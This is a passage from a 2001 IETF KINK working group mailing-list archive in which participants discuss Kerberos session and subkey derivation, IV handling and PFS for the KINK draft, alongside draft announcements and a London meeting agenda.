-0700 (PDT) Message-Id: <4.1.20010718161854.018c0720@mira-sjc5-1> X-Sender: jtrostle@mira-sjc5-1 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 18 Jul 2001 16:22:55 -0700 To: Ken Raeburn , Michael Thomas From: Jonathan Trostle Subject: Re: KINK issues Cc: ietf-kink@vpnc.org In-Reply-To: References: <15189.24422.125056.477526@thomasm-u1.cisco.com> <15172.64310.751181.58474@thomasm-u1.cisco.com> <15189.24422.125056.477526@thomasm-u1.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 05:45 PM 7/18/01 -0400, Ken Raeburn wrote: > >Michael Thomas writes: >> Since the subsession key is not created by the KDC, and >> we have a mandate to use the entropy generated by the KDC >> when creating keying material, would the appropriate thing >> be to create a subkey based off of some one-way hash on >> the session key? See below too. > >Maybe. The problem, as I see it, is that subkey generation should be, >IMNSHO, done by the Kerberos implementation and treated as a black box >by the application protocols (aside from probably getting to choose >the key type). That certainly isn't explicit in the Kerberos docs >(since they're all about the protocol), and other Kerberos folks may >well disagree with me on that. So basically, the entropy handling is >a quality-of-implementation issue, and an implementation that didn't >use the session key in the subkey generation would, well, suck. :-) > >IIRC, the Kerberos docs actually leave it up to the application >protocol spec to indicate how the session key and subkeys get used. >So providing real honest-to-goodness keys produced by >implementation-defined means (Kerberos library, random nonce >generation, whatever), and feeding them *and* the session key into the >key generation code, instead of using the subkeys directly, would work >fine. But with such an approach you wouldn't get the fine control >over the actual bits that you rely on in the current draft. > >> In thinking about your comment above about >> subkeys, it seems that what's currently in >> the text: session key + IKE nonces is doing >> the same job as a subsession key which is >> derived in part from the session key. a) do >> you agree, and b) is that OK? > >I thought about that a bit too, and it does seem to be doing the same >job. What I dislike is (a) having the subkey field sometimes contain >a key, sometimes something else that's underspecified in some ways, >and (b) specifying that "something else" with such precision that the >subkey handling has to be exposed to the application layer. I'd be >happier if we had (a) a spec for passing around keying material in the I agree with you Ken, but we would need someone to write the spec. (which should live in the Kerberos WG). And given our goal of moving to WG last call on the KINK spec. in the near future, we would need to have a spec. fairly soon. Jonathan >subkey field and producing usable keys (of what type?) from it, that >any application protocol writer could use without identifying the >relevant pieces of the KINK application protocol, and (b) a KINK spec >that said "use foo subkey generation technique". > >The KINK approach seems to be "don't require anything new of the >Kerberos folks, we'll build on what they've done", but some of the >ideas being kicked around -- exchanging subkey generation material, >incorporating PFS -- are building blocks others could use as well, so >I think bundling it all into one application protocol spec is also not >necessarily the best approach. Having separate specs for such things >also means it's easier for implementors to provide these extra >building blocks to application writers. > >> > I think a null pointer will do the right thing for the code, and >> > something about "default initialization vector for the encryption >> > algorithm" would be right for the spec. >> I haven't actually looked at the lower layer >> crypto code, but is that clear enough? I know >> that would confuse me as to what the default >> initialization vector would be, but I may not >> be the best RFC crash dummy here. > >In general the Kerberos text doesn't talk much about initial vectors >etc, so any such extra parameters needed by an encryption algorithm >have to have default values described as part of their specs. In >kerberos-revisions, it's a slightly more abstracted and opaque "cipher >state", which can either be initialized or carried over from a >previous operation, though I think in fact we never do the latter; it >can't be set explicitly. In RFC 1510, there was at least one place >where IV chaining could be done if specified by the application >protocol (and I don't think it was clear whether it could be *set* to >some specified value), though that's been removed in >kerberos-revisions. From owner-ietf-kink Thu Jul 19 08:17:13 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6JFHDl18380 for ietf-kink-bks; Thu, 19 Jul 2001 08:17:13 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6JFHCq18376 for ; Thu, 19 Jul 2001 08:17:12 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f6JFGge03775; Thu, 19 Jul 2001 08:16:43 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAC22227; Thu, 19 Jul 2001 08:16:32 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA08796; Thu, 19 Jul 2001 08:16:32 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15190.63952.167857.646848@thomasm-u1.cisco.com> Date: Thu, 19 Jul 2001 08:16:32 -0700 (PDT) To: Ken Raeburn Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: KINK issues In-Reply-To: References: <15172.64310.751181.58474@thomasm-u1.cisco.com> <15189.24422.125056.477526@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken Raeburn writes: > > Michael Thomas writes: > > Since the subsession key is not created by the KDC, and > > we have a mandate to use the entropy generated by the KDC > > when creating keying material, would the appropriate thing > > be to create a subkey based off of some one-way hash on > > the session key? See below too. > > Maybe. The problem, as I see it, is that subkey generation should be, > IMNSHO, done by the Kerberos implementation and treated as a black box > by the application protocols (aside from probably getting to choose > the key type). That certainly isn't explicit in the Kerberos docs > (since they're all about the protocol), and other Kerberos folks may > well disagree with me on that. So basically, the entropy handling is > a quality-of-implementation issue, and an implementation that didn't > use the session key in the subkey generation would, well, suck. :-) Ordinarily, I'd agree but KINK is sort of an odd duck since it's an amalgam of IKE'ism with Kerberos both of which have a fair amount to say about keying. And I've argued that PFS, say, is something that would be much better handled by Kerberos itself rather than having each app have to deal with it itself, but as Jonathan points out it's not a current option, and it's fairly straightforward how we can inherit it from IKE. > IIRC, the Kerberos docs actually leave it up to the application > protocol spec to indicate how the session key and subkeys get used. > So providing real honest-to-goodness keys produced by > implementation-defined means (Kerberos library, random nonce > generation, whatever), and feeding them *and* the session key into the > key generation code, instead of using the subkeys directly, would work > fine. But with such an approach you wouldn't get the fine control > over the actual bits that you rely on in the current draft. Actually, the current draft doesn't need fine control at all. It's directly feeding the authctx->keyblock->contents into the IKE key derivation as a substitute for the IKE main mode SKEYID. This is very straightforward. > I thought about that a bit too, and it does seem to be doing the same > job. What I dislike is (a) having the subkey field sometimes contain > a key, sometimes something else that's underspecified in some ways, > and (b) specifying that "something else" with such precision that the > subkey handling has to be exposed to the application layer. I'd be > happier if we had (a) a spec for passing around keying material in the > subkey field and producing usable keys (of what type?) from it, that > any application protocol writer could use without identifying the > relevant pieces of the KINK application protocol, and (b) a KINK spec > that said "use foo subkey generation technique". The current approach doesn't use the subkey at all, favoring the IKE nonces Ni, Nr instead. > The KINK approach seems to be "don't require anything new of the > Kerberos folks, we'll build on what they've done", but some of the > ideas being kicked around -- exchanging subkey generation material, > incorporating PFS -- are building blocks others could use as well, so > I think bundling it all into one application protocol spec is also not > necessarily the best approach. Having separate specs for such things > also means it's easier for implementors to provide these extra > building blocks to application writers. Yes, I agree. The Packetcable IPsec and SNMP keying used the subkey and it would have probably been a lot more straightforward if there were an RFC to point to which has been well thought out rather than having to roll your own and wonder whether it was secure. I know that we spent a *lot* of time talking about key derivation considerations. > In general the Kerberos text doesn't talk much about initial vectors > etc, so any such extra parameters needed by an encryption algorithm > have to have default values described as part of their specs. In > kerberos-revisions, it's a slightly more abstracted and opaque "cipher > state", which can either be initialized or carried over from a > previous operation, though I think in fact we never do the latter; it > can't be set explicitly. In RFC 1510, there was at least one place > where IV chaining could be done if specified by the application > protocol (and I don't think it was clear whether it could be *set* to > some specified value), though that's been removed in > kerberos-revisions. OK. Like I said, it wasn't clear when I was implementing this with the MIT code what I should do for the IV. Maybe a mention in the spec that "if an initialization vector is required for the cipher, the initialization vector must be randomly chosen by the KINK encyption routine and added in a cipher depended way to the ciphertext"? Mike From owner-ietf-kink Thu Jul 19 15:08:38 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6JM8cA08627 for ietf-kink-bks; Thu, 19 Jul 2001 15:08:38 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6JM8aq08621 for ; Thu, 19 Jul 2001 15:08:37 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f6JM8YX18210 for ; Thu, 19 Jul 2001 15:08:34 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAH00477; Thu, 19 Jul 2001 15:08:30 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA08993; Thu, 19 Jul 2001 15:08:15 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15191.23119.111789.622438@thomasm-u1.cisco.com> Date: Thu, 19 Jul 2001 15:08:15 -0700 (PDT) To: ietf-kink@vpnc.org Subject: -01 ready X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi all, I just submitted the -01 draft which should be showing up on the repository soon. In the mean time, you can fetch it from: http://www.mtcc.com/standards/draft-ietf-kink-kink-01.txt Mike From owner-ietf-kink Mon Jul 23 07:07:28 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6NE7SK20230 for ietf-kink-bks; Mon, 23 Jul 2001 07:07:28 -0700 (PDT) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6NE7Qq20226 for ; Mon, 23 Jul 2001 07:07:26 -0700 (PDT) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA29712; Mon, 23 Jul 2001 10:07:16 -0400 To: ietf-kink@vpnc.org Subject: Draft Agenda for London From: Derek Atkins Date: 23 Jul 2001 10:07:15 -0400 Message-ID: Lines: 33 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is the Draft Agenda for London. Please send me comments ASAP so I can send this into the Secretariat for our slot. Thanks, -derek Chairs: Derek Atkins Jon Trostle Agenda: * Agenda Bashing :00-:02 (2 min) * Protocol Update :02-:40 (38 mins) Mike Thomas - Draft Status - Implementation Status * Open Issues :40-1:15 (25 mins) - Keying Issues (Ken Raeburn?) - ACK reliability * Open Discussion 1:15-2:00 (45 mins) -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Jul 24 03:33:25 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f6OAXPZ16957 for ietf-kink-bks; Tue, 24 Jul 2001 03:33:25 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f6OAXOG16953 for ; Tue, 24 Jul 2001 03:33:24 -0700 (PDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA06481; Tue, 24 Jul 2001 06:32:26 -0400 (EDT) Message-Id: <200107241032.GAA06481@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-01.txt Date: Tue, 24 Jul 2001 06:32:26 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas et al. Filename : draft-ietf-kink-kink-01.txt Pages : 34 Date : 23-Jul-01 The KINK Working Group will create a standards track protocol to facilitate centralized key exchange in an application independent fashion. Participating systems will use the Kerberos architecture as defined in RFC 1510 for key management and the KINK protocol between applications. The goal of KINK is to produce a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol that is flexible enough to be able to be extended for many applications. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010723140930.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010723140930.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Thu Aug 2 19:10:20 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f732AKm04480 for ietf-kink-bks; Thu, 2 Aug 2001 19:10:20 -0700 (PDT) Received: from postoffice.sarnoff.com (postoffice.sarnoff.com [130.33.10.147]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f732AIs04475 for ; Thu, 2 Aug 2001 19:10:19 -0700 (PDT) Received: from postoffice.sarnoff.com ([127.0.0.1]) by postoffice.sarnoff.com (Netscape Messaging Server 4.15) with SMTP id GHGZ4200.MD5 for ; Thu, 2 Aug 2001 22:04:50 -0400 Received: from nova.sarnoff.com ([130.33.8.27]) by postoffice.sarnoff.com (Netscape Messaging Server 4.15) with ESMTP id GH5T4A00.UHZ; Fri, 27 Jul 2001 21:21:46 -0400 Received: from loki.ietf.org (loki.ietf.org [132.151.1.177]) by nova.sarnoff.com (8.9.2/8.9.2) with ESMTP id NAA21364; Tue, 24 Jul 2001 13:49:45 -0400 (EDT) Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id NAA19242 for ietf-123-outbound.05@ietf.org; Tue, 24 Jul 2001 13:25:01 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id GAA12870 for ; Tue, 24 Jul 2001 06:32:27 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA06481; Tue, 24 Jul 2001 06:32:26 -0400 (EDT) Message-Id: <200107241032.GAA06481@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-01.txt Date: Tue, 24 Jul 2001 06:32:26 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas et al. Filename : draft-ietf-kink-kink-01.txt Pages : 34 Date : 23-Jul-01 The KINK Working Group will create a standards track protocol to facilitate centralized key exchange in an application independent fashion. Participating systems will use the Kerberos architecture as defined in RFC 1510 for key management and the KINK protocol between applications. The goal of KINK is to produce a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol that is flexible enough to be able to be extended for many applications. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010723140930.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010723140930.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Fri Aug 3 01:54:54 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f738ss305076 for ietf-kink-bks; Fri, 3 Aug 2001 01:54:54 -0700 (PDT) Received: from postoffice.sarnoff.com (postoffice.sarnoff.com [130.33.10.147]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f738sqs05068 for ; Fri, 3 Aug 2001 01:54:52 -0700 (PDT) Received: from postoffice.sarnoff.com ([127.0.0.1]) by postoffice.sarnoff.com (Netscape Messaging Server 4.15) with SMTP id GHHFEC00.7Q1 for ; Fri, 3 Aug 2001 03:56:36 -0400 Received: from nova.sarnoff.com ([130.33.8.27]) by postoffice.sarnoff.com (Netscape Messaging Server 4.15) with ESMTP id GH5T4A00.UHZ; Fri, 27 Jul 2001 21:21:46 -0400 Received: from loki.ietf.org (loki.ietf.org [132.151.1.177]) by nova.sarnoff.com (8.9.2/8.9.2) with ESMTP id NAA21364; Tue, 24 Jul 2001 13:49:45 -0400 (EDT) Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id NAA19242 for ietf-123-outbound.05@ietf.org; Tue, 24 Jul 2001 13:25:01 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id GAA12870 for ; Tue, 24 Jul 2001 06:32:27 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA06481; Tue, 24 Jul 2001 06:32:26 -0400 (EDT) Message-Id: <200107241032.GAA06481@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-kink-01.txt Date: Tue, 24 Jul 2001 06:32:26 -0400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Kerberized Internet Negotiation of Keys (KINK) Author(s) : M. Thomas et al. Filename : draft-ietf-kink-kink-01.txt Pages : 34 Date : 23-Jul-01 The KINK Working Group will create a standards track protocol to facilitate centralized key exchange in an application independent fashion. Participating systems will use the Kerberos architecture as defined in RFC 1510 for key management and the KINK protocol between applications. The goal of KINK is to produce a low-latency, computationally inexpensive, easily managed, and cryptographically sound protocol that is flexible enough to be able to be extended for many applications. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-kink-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-kink-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-kink-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010723140930.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-kink-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-kink-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010723140930.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Tue Aug 7 03:06:03 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f77A63Z24631 for ietf-kink-bks; Tue, 7 Aug 2001 03:06:03 -0700 (PDT) Received: from raeburn.org (208-59-178-68.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com [208.59.178.68]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f77A61N24627 for ; Tue, 7 Aug 2001 03:06:01 -0700 (PDT) Received: from rsx-11.raeburn.org ([2001:618:7:2:2e0:63ff:fe50:4f22]) by raeburn.org (8.11.3/8.11.3) with ESMTP id f77A5tO10311; Tue, 7 Aug 2001 06:05:55 -0400 (EDT) Received: from raeburn by rsx-11.raeburn.org with local (Exim 3.22 #1 (Debian)) id 15TueD-0001m9-00; Tue, 07 Aug 2001 01:23:01 +0100 To: Michael Thomas Cc: ietf-kink@vpnc.org Subject: Re: KINK issues References: <15172.64310.751181.58474@thomasm-u1.cisco.com> <15189.24422.125056.477526@thomasm-u1.cisco.com> <15190.63952.167857.646848@thomasm-u1.cisco.com> From: Ken Raeburn Date: 07 Aug 2001 01:23:01 +0100 In-Reply-To: <15190.63952.167857.646848@thomasm-u1.cisco.com> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Actually, the current draft doesn't need fine control > at all. It's directly feeding the authctx->keyblock->contents > into the IKE key derivation as a substitute for the IKE > main mode SKEYID. This is very straightforward. > The current approach doesn't use the subkey at all, > favoring the IKE nonces Ni, Nr instead. Yes, this looks fine. > Yes, I agree. The Packetcable IPsec and SNMP keying used > the subkey and it would have probably been a lot more > straightforward if there were an RFC to point to which > has been well thought out rather than having to roll > your own and wonder whether it was secure. I know that > we spent a *lot* of time talking about key derivation > considerations. Yep... one of these days.... > OK. Like I said, it wasn't clear when I was implementing > this with the MIT code what I should do for the IV. Maybe > a mention in the spec that "if an initialization vector is > required for the cipher, the initialization vector must be > randomly chosen by the KINK encyption routine and added > in a cipher depended way to the ciphertext"? Kerberos doesn't carry along the IV with encrypted data. For CBC mode ciphers, it uses an IV which is usually fixed, and prepends a random confounder to the plaintext; the effect is similar to sending along the encrypted IV with the ciphertext. Future cryptosystems would do the same, or something similar, to frustrate an attacker. So specifying the IV shouldn't be necessary if you're using the Kerberos encryption schemes; why do you want to add it? (It's also unlikely that kerberos-revisions will allow arbitrary specification of the IV.) From owner-ietf-kink Tue Aug 7 05:54:14 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f77CsEX01821 for ietf-kink-bks; Tue, 7 Aug 2001 05:54:14 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f77CsDN01817 for ; Tue, 7 Aug 2001 05:54:13 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f77CpoJ07314; Tue, 7 Aug 2001 05:51:50 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ABU09568; Tue, 7 Aug 2001 05:53:36 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id FAA15164; Tue, 7 Aug 2001 05:53:36 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15215.58576.81227.516646@thomasm-u1.cisco.com> Date: Tue, 7 Aug 2001 05:53:36 -0700 (PDT) To: Ken Raeburn Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: KINK issues In-Reply-To: References: <15172.64310.751181.58474@thomasm-u1.cisco.com> <15189.24422.125056.477526@thomasm-u1.cisco.com> <15190.63952.167857.646848@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken Raeburn writes: > Kerberos doesn't carry along the IV with encrypted data. For CBC mode > ciphers, it uses an IV which is usually fixed, and prepends a random > confounder to the plaintext; the effect is similar to sending along > the encrypted IV with the ciphertext. Future cryptosystems would do > the same, or something similar, to frustrate an attacker. So > specifying the IV shouldn't be necessary if you're using the Kerberos > encryption schemes; why do you want to add it? (It's also unlikely > that kerberos-revisions will allow arbitrary specification of the IV.) Great. I just saw what appeared to be an extra 8 bytes which was clearly not padding and wasn't quite sure what it was (iv/confounder). I'm mainly being pedantic here in case somebody who didn't grab the MIT (or other Kerberos) source and wanted to apply the encryption algorithm would understand how to interpret the spec correctly. I think what I'm going to do is hunt down the correct section in 1510 and add a reference which should settle this once and for all. Mike From owner-ietf-kink Wed Aug 15 12:20:39 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.3/8.11.3) id f7FJKdh08408 for ietf-kink-bks; Wed, 15 Aug 2001 12:20:39 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.11.3/8.11.3) with ESMTP id f7FJKcN08404 for ; Wed, 15 Aug 2001 12:20:38 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f7FJITD02676 for ; Wed, 15 Aug 2001 12:18:43 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ACR22712; Wed, 15 Aug 2001 12:20:19 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com 